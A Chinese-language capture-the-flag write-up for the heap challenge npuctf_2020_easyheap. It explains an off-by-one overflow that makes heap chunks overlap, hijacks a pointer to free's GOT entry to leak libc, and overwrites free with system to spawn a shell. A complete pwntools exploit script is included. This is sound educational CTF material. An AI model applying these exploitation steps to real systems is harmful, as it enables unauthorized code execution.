知识点

通过堆块的错位来改变下个堆块的size位置,从可以改写指定的位置的函数

题目

npuctf_2020_easyheap

参考

1

64位 可以改写plt表

2

点开就是菜单

3

这个存在溢出漏洞

解法

先创造两个chunk

4

5

通过改写chunk0(第一个)溢出

通过溢出多一个字节(0x41)使得下面两个堆块整合到一起

6

7

接着free chunk1(第二个chunk)

8

9

再重新申请一个大小为0x38的块

10

可以看到之前的0x41申请回来了

这个发的是’a‘

利用上个改写41溢出导致下个堆块记录输入内容的地址发生变化

11

这里把那个地址改成了free函数

泄露libc

通过题目里面的show函数泄露free处的libc

就是这个堆块的返回地址已经变成你指定的位置了,无论是输出还是改写就容易了

12

最后找到system 将free函数改成system

加上前面写入的/bin/sh\x00

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
p = process("./pwn")
#p = remote("node5.buuoj.cn",29347)
context.log_level = 'debug'
gdb.attach(p)
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")
atoi_got = elf.got['atoi']
free_got = elf.got['free']

def cmd(choice):
p.recvuntil("Your choice :")
p.sendline(str(choice))

def create(size,content):
cmd(1)
p.recvuntil("only) :")
p.sendline(str(size))
p.recvuntil("Content:")
p.sendline(content)

def edit(idx,content):
cmd(2)
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Content:")
p.sendline(content)

def show(idx):
cmd(3)
p.recvuntil("Index :")
p.sendline(str(idx))

def delete(idx):
cmd(4)
p.recvuntil("Index :")
p.sendline(str(idx))

create(0x18,"aaaa")

create(0x18,"aaaa")

payload =b'/bin/sh\x00'
payload += p64(0) * 2
payload += p64(0x41)

edit(0,payload)
delete(1)
pause()
#create(0x38,b'a')


payload =b'a' * 0x20 + p64(0x38) + p64(free_got)
create(0x38,payload)
show(1)
free_addr = u64(p.recvuntil("\x7f")[-6:]+b'\x00'*2)





log.success(hex(free_addr))
libc_base = free_addr - libc.sym['free']
system = libc_base + libc.sym['system']
log.success(hex(libc_base))
log.success(hex(system))

edit(1,p64(system))
# gdb.attach(p)
# pause()
delete(0)

p.interactive()